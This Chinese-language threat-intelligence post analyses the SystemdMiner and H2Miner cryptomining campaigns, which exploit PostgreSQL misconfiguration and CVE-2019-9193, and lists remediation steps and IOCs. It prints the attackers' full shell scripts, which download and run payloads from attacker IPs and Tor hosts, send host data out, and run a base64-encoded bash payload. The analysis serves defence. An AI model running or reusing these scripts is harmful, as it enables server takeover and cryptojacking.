首页
社区
课程
招聘
[原创]SystemdMiner、H2Miner挖矿木马利用相同的PostgreSQL漏洞攻击云服务器
发表于: 2020-12-22 17:01 3009

[原创]SystemdMiner、H2Miner挖矿木马利用相同的PostgreSQL漏洞攻击云服务器

2020-12-22 17:01
3009

一、背景

腾讯安全威胁情报中心检测到SystemdMiner、H2Miner两个挖矿团伙组合利用PostgreSQL的未授权访问漏洞以及PostgreSQL提权代码执行漏洞(CVE-2019-9193)攻击云服务器。这意味着,存在漏洞的服务器可能同时被多个挖矿木马团伙扫描入侵,如果不同挖矿木马火力全开同时挖矿,服务器就有彻底瘫痪的风险。腾讯安全专家建议政企机构用户尽快修复漏洞,避免沦为黑客控制的肉鸡。

 

SystemdMiner、H2Miner均是目前流行的挖矿木马,擅长利用各类Web应用漏洞进行批量攻击传播。SystemdMiner入侵系统后会通过Socket5代理与C&C服务器通信,下载挖矿木马init.x86_64,安装定时任务进行持久化。H2Miner会执行脚本pg2.sh,安装定时任务下载pg.sh,并进一步下载木马kinsing进行挖矿进程维持以及进行端口扫描和Redis爆破攻击。

 

腾讯安全专家建议企业对以下位置进行检查和清理,并修改PostgreSQL的访问配置,限制不受信任的对象进行访问,谨慎考虑分配pg_read_server_files、pg_write_server_files、pg_execute_server_program 角色权限给数据库用户。:

 

1.属于用户stolo、postgres下的8位随机名进程;

2.恶意脚本文件:/var/lib/pgsql/.systemd-service.sh;

3.木马文件:/tmp/kinsing、/tmp/kdevtmpfsi。

 

腾讯安全系列产品已支持检测、防御SystemdMiner、H2Miner挖矿木马,具体响应清单如下:



更多产品信息,请参考腾讯安全官方网站26cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6i4K6u0W2N6r3g2F1j5$3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8R3`.`.



二、详细分析

PostgreSQL是一款功能强大的数据库软件,可运行在主流操作系统上,包括Linux、Windows、Mac OS X等。

 

PostgreSQL未授权访问漏洞

 

PostgreSQL未授权访问漏洞主要是由于管理员配置不当形成的。PostgreSQL配置文件在/data/pgsql/9.3/data/pg_hba.conf,如果管理员没有正确的配置信任的主机,(如下图),则会导致任意用户无需密码均可访问PostgreSQL数据库。


 

host表示匹配类型,第一个all表示任何数据库, 第二个all表示任何数据库用户的访问,0.0.0.0/0表示任何ip地址访问本数据库服务,最后的trust表示对满足条件的主机免密码登录。

 

PostgreSQL提权代码执行漏洞(CVE-2019-9193)

 

2019年3月安全研究人员披露了PostgreSQL提权代码执行漏洞(CVE-2019-9193)的漏洞细节,具有数据库服务端文件读权限的攻击者利用此漏洞,可执行任意系统命令。

 

此次披露的漏洞存在于导入导出数据的命令“COPY TO/FROM PROGRAM””中,“pg_read_server_files”组内用户执行上述命令后,可获取数据库超级用户权限,从而执行任意系统命令。

 

受影响版本

PostgreSQL >=9.3

 

漏洞攻击利用

SystemdMiner和H2Miner挖矿团伙利用PostgreSQL的未授权访问漏洞以及提权代码执行漏洞进行组合攻击,传播挖矿木马。攻击者通过批量扫描5432端口发现PostgreSQL服务器,然后利用管理员配置不当造成的未授权访问漏洞获得了PostgreSQL数据库的访问权限,接着再利用PostgreSQL提权代码执行漏洞(CVE-2019-9193)执行恶意代码。

 

SystemdMiner利用漏洞攻击后执行的恶意代码:

XRANDOM

exec &>/dev/null

export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

 

function __curl() {

  read proto server path <<<$(echo ${1//// })

  DOC=/${path// //}

  HOST=${server//:*}

  PORT=${server//*:}

  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

 

  exec 3<>/dev/tcp/${HOST}/$PORT

  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3

  (while read line; do

   [[ "$line" == $'\r' ]] && break

  done && cat) <&3

  exec 3>&-

}

 

curl -V || __curl c9eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0V1@1i4K6u0W2x3U0x3%4i4K6u0W2z5o6g2Q4x3X3f1^5z5g2)9K6b7e0R3H3z5o6m8Q4x3V1k6U0N6i4u0D9 > /usr/local/bin/curl;chmod +x /usr/local/bin/curl

curl -V || __curl 2c5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0V1@1i4K6u0W2x3U0x3%4i4K6u0W2z5o6g2Q4x3X3f1^5z5g2)9K6b7e0R3H3z5o6m8Q4x3V1k6U0N6i4u0D9 > $HOME/curl;chmod +x $HOME/curl

curl -V || __curl 8f8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5x3q4)9J5k6e0t1%4i4K6u0W2x3U0k6Q4x3X3f1I4z5o6W2Q4x3@1p5^5x3g2)9J5c8X3y4#2M7X3H3`. > /usr/local/bin/curl;chmod +x /usr/local/bin/curl

curl -V || __curl d60K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5x3q4)9J5k6e0t1%4i4K6u0W2x3U0k6Q4x3X3f1I4z5o6W2Q4x3@1p5^5x3g2)9J5c8X3y4#2M7X3H3`. > $HOME/curl;chmod +x $HOME/curl

 

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)

c=$(echo "curl -4fsSLkA- -m200")

t=$(echo "nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd")

 

sockz() {

n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)

p=$(echo "dns-query?name=relay.tor2socks.in")

s=$($c https://${n[$((RANDOM))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)

}

 

fexe() {

for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done

}

 

u() {

sockz

f=/pg.$(uname -m)

x=./$(date|md5sum|cut -f1 -d-)

r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)

$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r

chmod +x $x;$x;rm -f $x

}

 

for h in tor2web.in tor2web.it onion.foundation tor2web.su onion.com.de

do

if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then

fexe;u $t.$h

ls /proc/$(head -1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)

ls /proc/$(head -1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)

break

fi

done

 

通过socks5代理relay.tor2socks.in的方式访问

ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.onion等C&C地址,从而将C&C地址在数据包头中进行隐藏:


 

通过代理下载得到挖矿木马主程序init.x86_64并最终启动8位的随机名挖矿进程,同时上传感染机器IP信息、机器名称。并安装的定时任务进行持久化,定时任务base64解码内容如下:

8 * * * * /var/lib/pgsql/.systemd-service.sh > /dev/null 2>&1 &

 

定时任务执行的.systemd-service.sh脚本如下,其解码后内容与初始攻击时相似:

#!/bin/bash

exec &>/dev/null

echo scO0uBW7WOQTz6MzC9/copUMIA6PvIC4GWMxgHyxU/7gorNqA1JFpzVYle7Lis/9

echo c2NPMHVCVzdXT1FUejZNekM5L2NvcFVNSUE2UHZJQzRHV014Z0h5eFUvN2dvck5xQTFKRnB6VllsZTdMaXMvOQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJvams1enJhN2IzeXEzMnRpbWIyN240cWo1dWRrNHcybDVrcW41dWxobnVnZHNjZWx0dGZodG95ZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSB0b3Iyd2ViLmlvCmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC0xIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash

 

H2Miner利用漏洞攻击后执行的恶意代码:

#!/bin/bash

function __curl() {

  read proto server path <<<$(echo ${1//// })

  DOC=/${path// //}

  HOST=${server//:*}

  PORT=${server//*:}

  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

 

  exec 3<>/dev/tcp/${HOST}/$PORT

  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3

  (while read line; do

   [[ "$line" == $'\r' ]] && break

  done && cat) <&3

  exec 3>&-

}

 

if [ -x "$(command -v curl)" ]; then

  curl 188.119.112.132/pg.sh|bash

elif [ -x "$(command -v wget)" ]; then

  wget -q -O- 188.119.112.132/pg.sh|bash

else

  __curl http[:]//188.119.112.132/pg2.sh|bash

fi

 

恶意代码主要功能为下载H2Miner核心脚本pg2.sh并执行。

 

pg2.sh清理竞品挖矿木马、继续下载二进制木马kinsing并将其安装为服务/lib/systemd/system/bot.service启动,还会安装定时任务下载pg.sh。


 


kinsing功能与以往版本相同,具有下载维持挖矿进程kdevtmpfsi 、端口扫描和Redis爆破等功能。





IOCs

【SystemdMiner】


IP

94.237.85.89

120.27.26.189

 

Domain

nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd.onion

plgs6otqdiu7snxdfwjnidhw4ncmp5qvvxi5gepiszg75kxebwci2wad.onion

ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfhtoyd.onion

i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad.onion

nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd.tor2web.in

nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd.tor2web.it

nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd.onion.foundation

nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd.tor2web.su

nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd.onion.com.de

 

md5

.systemd-service.sh

92d83b2b270c1bdf1257adcc9bc0fd9b

 

Miner

d4a9b852de8857f02ddc80240b7e73ea

 

【H2Miner】


IP

188.119.112.132

194.40.243.61

 

URL

http[:]//188.119.112.132/pg.sh

http[:]//188.119.112.132/pg2.sh

http[:]//188.119.112.132/kinsing

http[:]//194.40.243.61/kinsing

 

md5

pg.sh

255184f7f3725474703c487cf034b441

 

pg2.sh

9efca16e87f780b42730f55d53c4622a

 

Kinsing

648effa354b3cbaad87b45f48d59c616

 

Kdevtmpfsi

8c6681daba966addd295ad89bf5146af




参考链接:

a2aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6K6K9%4W2K6K9r3W2H3x3K6k6Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6p5&6i4K6u0V1z5e0p5&6x3H3`.`.

8d4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6Q4x3X3g2F1M7$3k6G2j5%4g2K6i4K6u0W2L8X3g2@1i4K6u0r3M7r3!0K6N6r3N6J5k6i4y4I4L8q4)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3e0W2Q4x3X3b7&6x3e0V1K6i4K6u0r3

835K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0f1I4x3o6x3J5x3e0M7&6

295K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6K6P5i4y4@1k6h3#2Q4x3V1j5J5x3K6x3I4x3K6S2Q4x3X3g2Z5N6r3#2D9

222K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6i4K6u0W2N6r3g2F1j5$3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8Y4u0W2M7$3g2S2M7X3y4Z5i4K6u0r3M7X3g2H3L8%4u0@1i4K6u0r3x3e0p5^5x3#2)9J5k6h3S2@1L8h3H3`.

 

 



[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2020-12-22 17:09 被腾讯电脑管家编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回